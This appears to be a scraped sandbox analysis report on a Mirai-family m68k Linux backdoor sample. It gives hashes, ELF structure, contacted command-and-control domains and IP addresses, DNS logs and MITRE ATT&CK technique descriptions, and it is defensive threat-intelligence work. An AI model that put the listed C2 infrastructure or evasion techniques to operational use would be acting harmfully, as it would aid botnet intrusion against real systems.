	nabm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	jklm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244

Source	Detection	Scanner	Label	Link
splm68k.elf	34%	ReversingLabs	Linux.Backdoor.Mirai
splm68k.elf	29%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	154.216.16.250	true	false		high
serisbot.geek. [malformed]	unknown	unknown	false		high

Process:	/tmp/splm68k.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.134658745944305
Encrypted:	false
SSDEEP:	6:YHgDF1CT/VWDF1VqY/V05+hz/VfKoO/VNfiY/VH:YHYSI5al
MD5:	7A94676745087764C5DDC7E81069EB43
SHA1:	7143B41D7B16C99B0BDB69C993E4DC8EE0DDE061
SHA-256:	724E1C4BEC041A06210245DA2BDB9F1885C581490912AC95C1242D38E85B0B97
SHA-512:	CCD19E566A6E19A8D664C75FCA850A455E04F16F23D0A86C31C06ECE7E5AB90B28A0FDE09C52F956F4B851846E847A22F4A2976877C19D98AF0FBD99A78C2EE6
Malicious:	false
Reputation:	low
Preview:	80000000-80010000 r-xp 00000000 fd:00 531606 /tmp/..80011000-80012000 rw-p 0000f000 fd:00 531606 /tmp/..80012000-80014000 rw-p 00000000 00:00 0 .80014000-80015000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.299124916353821
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splm68k.elf
File size:	62'736 bytes
MD5:	51ecbd66450e33a0a7f0255558d453f6
SHA1:	f0970f72a901f71610cabde324ffd53e02f579fa
SHA256:	e778282e71e02aab4eea836122f7469d3a5b6051df528d6ab8cf66fa1ad97f75
SHA512:	b9d0424ee21c5f247663768514514d1ff018cfa4a925a0f8ef5b5bb00f40a00552bf01926841243b5267411c46b0d59ce34288fb7c989ac63b4b181795b161c4
SSDEEP:	1536:W3TCTODS94w6foO3Wog66666lLo1mpYqhV9DDnmUY8pA33yPO:W3TCTOE4LgOmog66666lLYeYqpDmU8B
TLSH:	65533986A400DC7CF95BEA7A84166E09F43C732456530F37A7EBFD93EC32195AD1A881
File Content Preview:	.ELF.......................D...4...X.....4. ...(.................................. ....................\|.......... .dt.Q............................NV..a....da.....N^NuNV..J9....f>"y.... QJ.g.X.#.....N."y.... QJ.f.A.....J.g.Hy....N.X.........N^NuNV..N^NuN

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62296
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0xe406	0x0	0x6	AX	4
.fini	PROGBITS	0x8000e4ae	0xe4ae	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x8000e4bc	0xe4bc	0xcd6	0x0	0x2	A	2
.ctors	PROGBITS	0x80011198	0xf198	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x800111a0	0xf1a0	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x800111a8	0xf1a8	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x800111ac	0xf1ac	0x168	0x0	0x3	WA	4
.bss	NOBITS	0x80011314	0xf314	0x1194	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf314	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0xf192	0xf192	6.3362	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0xf198	0x80011198	0x80011198	0x17c	0x1310	0.9139	0x6	RW	0x2000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 04:33:54.875004053 CET	192.168.2.23	51.158.108.203	0x4436	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:34:06.692795992 CET	192.168.2.23	51.158.108.203	0x98e3	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:34:19.163377047 CET	192.168.2.23	185.181.61.24	0x50c2	Standard query (0)	serisbot.geek. [malformed]	256	443	false
Dec 24, 2024 04:34:31.657856941 CET	192.168.2.23	202.61.197.122	0xd942	Standard query (0)	serisbot.geek. [malformed]	256	455	false
Dec 24, 2024 04:34:44.135385990 CET	192.168.2.23	185.181.61.24	0x1c00	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 04:33:55.114306927 CET	51.158.108.203	192.168.2.23	0x4436	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:33:55.114306927 CET	51.158.108.203	192.168.2.23	0x4436	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:33:55.114306927 CET	51.158.108.203	192.168.2.23	0x4436	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:34:06.931278944 CET	51.158.108.203	192.168.2.23	0x98e3	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:34:06.931278944 CET	51.158.108.203	192.168.2.23	0x98e3	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:34:06.931278944 CET	51.158.108.203	192.168.2.23	0x98e3	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:34:44.395524025 CET	185.181.61.24	192.168.2.23	0x1c00	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:34:44.395524025 CET	185.181.61.24	192.168.2.23	0x1c00	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:34:44.395524025 CET	185.181.61.24	192.168.2.23	0x1c00	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Dec 24, 2024 04:33:54.735958099 CET	54.171.230.55	443	192.168.2.23	33606	CN=motd.ubuntu.com CN=R11, O=Let's Encrypt, C=US	CN=R11, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	Mon Oct 21 10:21:37 CEST 2024 Wed Mar 13 01:00:00 CET 2024	Sun Jan 19 09:21:36 CET 2025 Sat Mar 13 00:59:59 CET 2027
Dec 24, 2024 04:33:54.735958099 CET	54.171.230.55	443	192.168.2.23	33606	CN=R11, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Wed Mar 13 01:00:00 CET 2024	Sat Mar 13 00:59:59 CET 2027

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splm68k.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.03Oa7k (deleted)

/tmp/qemu-open.0cVYkl (deleted)

/tmp/qemu-open.11gYDj (deleted)

/tmp/qemu-open.1ACgPl (deleted)

/tmp/qemu-open.1EeIpk (deleted)

/tmp/qemu-open.1FMU4j (deleted)

/tmp/qemu-open.1SmEMi (deleted)

/tmp/qemu-open.1cRzFl (deleted)

/tmp/qemu-open.1s9JRi (deleted)

/tmp/qemu-open.1tAsMj (deleted)

/tmp/qemu-open.2KOFlk (deleted)

/tmp/qemu-open.2P4LSi (deleted)

/tmp/qemu-open.2TDD0i (deleted)

/tmp/qemu-open.2t59qm (deleted)

/tmp/qemu-open.2z8edm (deleted)

/tmp/qemu-open.3KEi8h (deleted)

/tmp/qemu-open.3bHqvm (deleted)

/tmp/qemu-open.3glwfl (deleted)

/tmp/qemu-open.3jDZpl (deleted)

/tmp/qemu-open.3pJRkl (deleted)

/tmp/qemu-open.4GTC6j (deleted)

/tmp/qemu-open.5EVicj (deleted)

/tmp/qemu-open.65lXCj (deleted)

/tmp/qemu-open.6bdAKj (deleted)

/tmp/qemu-open.6kmMTi (deleted)

/tmp/qemu-open.6ucIyk (deleted)

/tmp/qemu-open.7YZo1l (deleted)

/tmp/qemu-open.7mZuem (deleted)

/tmp/qemu-open.7pzWpi (deleted)

/tmp/qemu-open.7qXN2h (deleted)

/tmp/qemu-open.88s8rm (deleted)

Linux Analysis Report
splm68k.elf

Start time (UTC):	03:33:52
Start date (UTC):	24/12/2024
Path:	/tmp/splm68k.elf
Arguments:	/tmp/splm68k.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	03:33:53
Start date (UTC):	24/12/2024
Path:	/tmp/splm68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	03:33:54
Start date (UTC):	24/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	03:33:55
Start date (UTC):	24/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre